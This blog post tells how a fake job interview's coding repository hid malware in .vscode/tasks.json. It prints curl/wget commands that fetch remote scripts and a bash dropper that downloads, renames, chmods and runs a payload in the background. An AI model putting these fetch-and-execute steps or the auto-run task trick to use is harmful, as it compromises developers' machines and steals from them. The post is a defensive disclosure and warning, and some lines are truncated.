# An adversarial coding test

2026-01-21 ← Back to home

▶ Table of contents

## Prelude

This morning when scrolling the Fediverse a post by 0xabad1dea caught my attention:

The confirmation dialog in question looks like this:

Happenstance is that I’m currently looking for a job.

I've been in talks. Or, in this case, I was led to believe I was 🙃.

There were some interesting technical aspects, some business background but little info about the company.

So we continued talks until I was given a name and access to a repository for some coding exercise.

## Enter Solvolabs

Yeah - I searched the company and this is what their website looked like.

To me this is the visual language of Blockchain/NFT scams mixed with the butthole motifs that AI companies like so much.

So thankfully my suspicions where raised when I checked out the repository for the coding challenge.

Note: it could be that the GitHub organization of the same name and the company Solvolabs are unrelated. It fits a narrative though.

▶ Tangent, phishing

## The smoking gun

My first step was to look at the history of `.vscode/tasks.json`. I hoped that this would highlight exciting changes and shortcut having to scroll through the entire file.

## A quick investigation

Filtering all the variants of tasks.json over time I obtained this list of commands:

```
# commit 1f09787fa3e41dc66c253bd9c7eb6d81a595e52e
curl 'https://codeviewer-three.vercel.app/task/mac?token=4
wget -qO- 'https://codeviewer-three.vercel.app/task/linux?
curl https://codeviewer-three.vercel.app/task/windows?toke
# commit 87539eefa9ed1f0c2ba29b5cff9010edf74e581e
curl 'https://jerryfox-platform.vercel.app/task/mac?token=
wget -qO- 'https://jerryfox-platform.vercel.app/task/linux
curl https://jerryfox-platform.vercel.app/task/windows?tok
# commit 11b4a10208d87d32ffee8a59132c4d9925f3c7a4
curl 'https://vscode-lnc.vercel.app/task/mac?token=40abc1
wget -qO- 'https://vscode-lnc.vercel.app/task/linux?token=
curl https://vscode-lnc.vercel.app/task/windows?token=40ab
```

It turned out that jerryfox-platform.vercel.app and vscode-lnc.vercel.app were already blocked by Vercel.

In contrast https://codeviewer-three.vercel.app produced shell scripts like this:

```
#!/bin/bash
set -e
echo "Authenticated"
TARGET_DIR="$HOME/Documents"
clear
wget -q -O "$TARGET_DIR/tokenlinux.npl" "http://codeviewe
clear
mv "$TARGET_DIR/tokenlinux.npl" "$TARGET_DIR/tokenlinux.sh
clear
chmod +x "$TARGET_DIR/tokenlinux.sh"
clear
```

```
nohup bash "$TARGET_DIR/tokenlinux.sh" > /dev/null 2>&1 &
clear
exit 0
```

This script drops a tokenlinux.sh and executes it directly.

In turn that script fetches another script that fetches and executes a task file.

The follow-up script is fetched with a JWT valid for 3 minutes, which contains data like this:

```
{
  "ip": "…",
  "sessionId": "…",
  "step": 1,
  "timestamp": 1768987490765,
  "origToken": "40abc1fa2901",
  "iat": 1768987490,
  "exp": 1768987670
}
```

At this point I stopped my investigations and decided to report the issue.

## Reporting

I've reported the organization with GitHub, and got a confirmation mail within a few hours.

I've also reported the domain with Vercel, and am currently waiting for a response.

## Closing notes

> Chat: I think I was lucky, and also they don't have a job for me anymore⁉️

Causing the deletion of the GitHub organization I’m interviewing with wasn’t on my bingo card today 😅.

Time to look further - and if you’re looking, too:

> All the best, and be careful out there 💖

← Back to home

Impressum und Datenschutz / Contact and Privacy Policy